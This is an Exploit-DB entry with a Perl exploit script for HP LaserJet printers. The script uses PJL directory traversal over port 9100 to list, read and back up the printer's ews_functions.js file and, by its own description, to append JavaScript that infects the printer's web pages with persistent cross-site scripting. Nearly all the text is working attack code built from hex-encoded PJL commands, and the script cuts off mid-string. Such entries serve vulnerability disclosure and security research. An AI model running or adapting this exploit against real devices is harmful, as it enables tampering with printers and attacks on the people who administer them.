Exploit-DB #32990
Description: HP Laser Jet - JavaScript Persistent Cross-Site Scripting via PJL Directory Traversal
Type: webapps
Platform: hardware
Date: 2014-04-23
Author: @0x00string

Exploit:
#!/usr/bin/perl
use strict;
use warnings;
use IO::Socket::INET;
my $host = $ARGV[0];

# Exploit Title: HP Laser Jet Persistent Javascript Cross Site Scripting via PJL
# Google Dork: n/a
# Date: 4/22/14
# Exploit Author: @0x00string
# Vendor Homepage: http://www.hp.com/products1/laserjetprinters/
# Software Link: n/a
# Version: HP LaserJet P/M xxxx (LaserJets with network conectivity, PJL and onboard storage)
# Tested on: P4015n, P2035n, P4014, M3035 MFP, CP 3525, etc.
# CVE : CVE-2010-4107, 



# This script will infect all pages on HP laserjets which include ews_functions.js by appending javascript to the ews_functions.js file by leveraging the PJL Directory Traversal



print "\t _______  __   __  _______  _______  _______  _______  ______    ___   __    _  _______
\t|  _    ||  |_|  ||  _    ||  _    ||       ||       ||    _ |  |   | |  |  | ||       |
\t| | |   ||       || | |   || | |   ||  _____||_     _||   | ||  |   | |   |_| ||    ___|
\t| | |   ||       || | |   || | |   || |_____   |   |  |   |_||_ |   | |       ||   | __
\t| |_|   | |     | | |_|   || |_|   ||_____  |  |   |  |    __  ||   | |  _    ||   ||  |
\t|       ||   _   ||       ||       | _____| |  |   |  |   |  | ||   | | | |   ||   |_| |
\t|_______||__| |__||_______||_______||_______|  |___|  |___|  |_||___| |_|  |__||_______|
\t                         HP Laser Jet persistent Javascript XSS
\t				    via PJL Dir Trav\n\n";



$| = 1;
infect($host);


sub infect {
        my $co = 0;
        my (@returned, $temp, @files, @sizes, $size, $data);
        my $socket = new IO::Socket::INET (
                        PeerHost => $host,
                        PeerPort => '9100',
                        Proto => 'tcp',
        ) or die $!;
        if ($socket) {
        $data =
	    "\x1b\x25\x2d\x31\x32".
       	    "\x33\x34\x35\x58\x40".
       	    "\x50\x4a\x4c\x20\x46".
      	    "\x53\x44\x49\x52\x4c".
      	    "\x49\x53\x54\x20\x4e".
       	    "\x41\x4d\x45\x20\x3d".
       	    "\x20\x22\x30\x3a\x5c".
      	    "\x5c\x77\x65\x62\x53".
            "\x65\x72\x76\x65\x72".
            "\x5c\x5c\x68\x6f\x6d".
            "\x65\x5c\x5c\x6a\x73".
            "\x66\x69\x6c\x65\x73".
            "\x5c\x5c\x22\x20\x45".
            "\x4e\x54\x52\x59\x3d".
            "\x31\x20\x43\x4f\x55".
            "\x4e\x54\x3d\x39\x39".
            "\x39\x0a\x0d\x1b\x25".
            "\x2d\x31\x32\x33\x34\x35\x58";

            #print "\n$data\n";
            $socket = tx($socket, $data);
            ($socket, $temp) = rx($socket);
            #print "\n$temp\n";

            @returned = split('\n', $temp);
            foreach(@returned) {
                if ($_ =~ /(.*?)\ TYPE\=FILE\ SIZE\=(\d{1,99})/) {
                    push(@files, $1);
                    push(@sizes, $2);
                            }
                }
        }
        my $two = 0;
        foreach(@files) {
            if ($_ =~ /RestrictColor\.js/ || $_ =~ /ews_functions\.js/) {
                $two++;
            }
        }
        if ($two > 1) {
            if ($socket) {
                while ($co < scalar(@files)) {
                    if ($files[$co] =~ /ews/) {
                        $size = $sizes[$co];

                        $data =


                        "\x1b\x25\x2d\x31\x32\x33\x34\x35\x58".
                        "\x40\x50\x4a\x4c\x20\x46\x53\x55\x50".
                        "\x4c\x4f\x41\x44\x20\x4e\x41\x4d\x45".
                        "\x20\x3d\x20\x22\x30\x3a\x5c\x5c\x77".
                        "\x65\x62\x53\x65\x72\x76\x65\x72\x5c".
                        "\x5c\x68\x6f\x6d\x65\x5c\x5c\x6a\x73".
                        "\x66\x69\x6c\x65\x73\x5c\x5c\x65\x77".
                        "\x73\x5f\x66\x75\x6e\x63\x74\x69\x6f".
                        "\x6e\x73\x2e\x6a\x73\x22\x20\x4f\x46".

                        "\x46\x53\x45\x54\x3d\x30\x20\x53\x49".

                        "\x5a\x45\x20\x3d\x20" . $size.
                        "\x0d\x0a";
                    }
                    $co++;
                }
                $temp = undef;

                #print "\n$data\n";
                $socket = tx($socket, $data);

                $data = undef;
                if ($socket) {
                    ($socket, $temp) = rx($socket, $size);
                    #print "\n$temp\n";

                    my @original = split('\n', $temp);
                    $temp = "";
                    shift(@original);
                    foreach(@original) {
                        $temp = $temp .  $_ . "\n";
                    }
                    #print $temp;
                }
            }
        }

        $data =


        "\x1b\x25\x2d\x31\x32\x33\x34\x35\x58".
        "\x40\x50\x4a\x4c\x20\x46\x53\x41\x50".
      	"\x50\x45\x4e\x44\x20\x46\x4f\x52\x4d".
       	"\x41\x54\x3a\x42\x49\x4e\x41\x52\x59".
       	"\x20\x4e\x41\x4d\x45".
       	"\x20\x3d\x20\x22\x30\x3a\x5c\x5c\x77".
       	"\x65\x62\x53\x65\x72\x76\x65\x72\x5c".
       	"\x5c\x68\x6f\x6d\x65\x5c\x5c\x6a\x73".
       	"\x66\x69\x6c\x65\x73\x5c\x5c\x65\x77".
       	"\x73\x5f\x66\x75\x6e\x63\x74\x69\x6f".
       	"\x6e\x73\x2e\x42\x41\x4b".
       	"\x22\x20\x53\x49\x5a\x45\x20\x3d\x20".
        length($temp) . "\x0d\x0a". $temp.
	"\x1b\x25\x2d\x31\x32\x33\x34\x35\x58";
       	#print $data;
        if ($socket) {
            #print "\n$data\n";
            $socket = tx($socket, $data);
            ($socket, $temp) = rx($socket);
            #print "\n$temp\n";
        }

        if ($socket) {
            $data =
            "\x1b\x25\x2d\x31\x32\x33\x34\x35\x58".
            "\x40\x50\x4a\x4c\x20\x46\x53\x51\x55".
            "\x45\x52\x59\x20\x4e\x41\x4d\x45\x20".
            "\x3d\x20\x22\x30\x3a\x5c\x5c\x77\x65".
            "\x62\x53\x65\x72\x76\x65\x72\x5c\x5c".
            "\x68\x6f\x6d\x65\x5c\x5